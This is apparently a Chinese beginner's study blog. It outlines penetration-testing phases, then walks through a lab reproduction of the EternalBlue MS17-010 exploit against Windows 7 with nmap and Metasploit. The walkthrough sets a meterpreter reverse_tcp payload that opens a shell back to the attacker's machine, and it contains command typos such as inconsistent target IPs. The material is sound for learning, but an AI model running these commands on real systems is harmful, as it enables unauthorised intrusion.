网安学习第二天

141 阅读6分钟

渗透测试基础

渗透测试

正式版:渗透测试(PenetrationTesting)是一种通过模拟攻击者的技术与方法,挫败目标系统的安全控制措施并取得访问控制权的安全测试方式。渗透测试的过程并非简单地运行一些扫描器和自动化工具,然后根据结果写一份安全报告。

 白话版:模拟黑客对目标进行攻击,得到想要的权限或者信息的技术。

渗透测试方法分类

白盒测试(内部测试):对整个系统有所了解,知道目标环境的所有内部和底层信息,分析其薄弱点对应攻击。优点:发现解决漏洞的时间短;缺点:人的思考会有局限性,会根据已知信息分析,考虑未必完善·。

黑盒测试(外部测试):,对系统没有任何目标网络内部拓扑等相关信息,完全模拟黑客对目标环境进行渗透攻击,优点:更有利于挖掘出系统潜在的漏洞,及其薄弱点。缺点:费时费力。

灰盒测试:白盒测试和黑盒测试基本类型的组合,知道其中的有限信息例如:知道系统组件之间是如何互相作用的,但缺乏对内部程序功能和运作的详细了解。

渗透目标

1、 主机操作系统渗透

对Windows、Solaris、AIX、Linux、SCO、SGI等操作系统本身进行渗透测试。

2、 数据库系统渗透

对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库应 用系统进行渗透测试。

3、 应用系统渗透

对渗透目标提供的各种应用,如ASP、CGI、JSP、PHP等组成的WWW应用进 行渗透测试。

4、 网络设备渗透

对各种防火墙、入侵检测系统、网络设备进行渗透测试。

渗透测试步骤

c6c64ae202412a32aaed587f29dc9eb.png

前期交互阶段(Pre-Engagement Interaction)

在前期交互(Pre-Engagement Interaction)阶段,渗透测 试团队与客户组织进行交互讨论,最重要的是确定渗透测试 的范围、目标、限制条件以及服务合同细节。

该阶段通常涉及收集客户需求、准备测试计划、定义测试范 围与边界、定义业务目标、项目管理与规划等活动。

(明确要做到的程度)

情报搜集阶段(Information Gathering)

在目标范围确定之后,将进入情报搜集(Information Gathering)阶段, 渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。

对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。

(收集信息)

威胁建模阶段(ThreatModeling)

在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家 聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。 这是渗透测试过程中非常重要,但很容易被忽视的一个关键点。

(根据信息分析薄弱点)

漏洞分析阶段(Vulnerability Analysis)

在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析(Vulnerability Analysis)阶段。

(找出其中那个漏洞最有价值的点) 

渗透攻击阶段(Exploitation)

渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节。在此环节 中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系 统当中,获得访问控制权。

(行动,得到权限)

后渗透攻击阶段(PostExploitation)(清除痕迹)

后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测 试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成 非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务 经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标 ,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。

(寻找最有价值的信息,消除痕迹)

报告阶段(Reporting)

渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一 份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测 试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻 击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。

(告诉业主是什么漏洞,危害是什么,怎么解决)

永恒之蓝ms17-010漏洞复现

环境

攻击机:Kali-Linux-2021

靶机:Windows7

工具

Nmap 网络扫描工具

Metasploit 渗透框架,能获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具

开始复现

首先kali切换管理员模式

sudo so

49a3b7d4dc1a5a0cfce935ab92e1bcc.png

信息收集阶段

检测本机属于哪个网段

ifconfig

9fcefd1730c4d83d043a6854fa56389.png

搜索本网段下有哪些IP地址有哪些

nmap 192.168.5.0/24

28e35b71506a835542d1fd598402cdd.png 查看192.168.5.129是什么操作系统

Nmap 192.168.129 -sV -sS

其中(-sS是检查开发端口;-sV是检查系统版本)

a6ddcbe5de36c96ca48ae9e775729b5.png

威胁建模阶段、漏洞分析阶段

发现445端口开放,尝试ms17-010漏洞

启动Metasploit

msfconsole

b03f7a8803faae9ec39916b8a6ea36d.png

启动ms17-010的有关模块

Search ms17-010

ef6993c2e74ec2fb176687d61d28829.png exploit是攻击模块,auxiliary是辅助模块,这里我们先选用3辅助扫描模块,来确定漏洞是否存在。

使用3号命令查看对应的win7系统是否存在ms17-010漏洞。

use 3

c624f649c548f7957d319eb49c18ded.png

查看该模块需要修改的参数

show options

320d169bd10c6865e86755b9aba4d71.pngYes前都是必填的

设置攻击目标198.168.5.129

Set rhosts 198.168.5.129

560c230cd14e6b471398d8a366ad603.png

运行

run

8c01f38b1b6d225ef22a8921978034f.png查看发现win7系统存在ms17-010漏洞

渗透攻击阶段

使用0号命令攻击对应的win7系统是否存在ms17-010漏洞。

Use 0

465898aeef0f967542903ec69de961d.png

设置攻击载荷

Set payload windows/x64/meterpreter/reverse_tcp

7ec978b29d89b35ba488cf2cdf4b3a8.png

设置受害者ip(win7)

set rhost 192.168. 5.129

7714454b962bc48e564abf4d57568d9.png

设置攻击者ip(kali)

set lhost 192.168.5.128

192f19f5c8f8f2f2769acd51f52f7a8.png

查看攻击设置

Show options

3faf55076ce9ee61130f310bf987a81.png

开始攻击

run

50dacb6502dbd0ab5211a243dbf3135.png 攻击成功,接下来就可以使用meterpreter进行一系列后渗透操作了。

后渗透攻击阶段

截屏看win7系统现在在干什么

Screenshot

8c2b55b00d8f1f008ce95bc58e0609d.png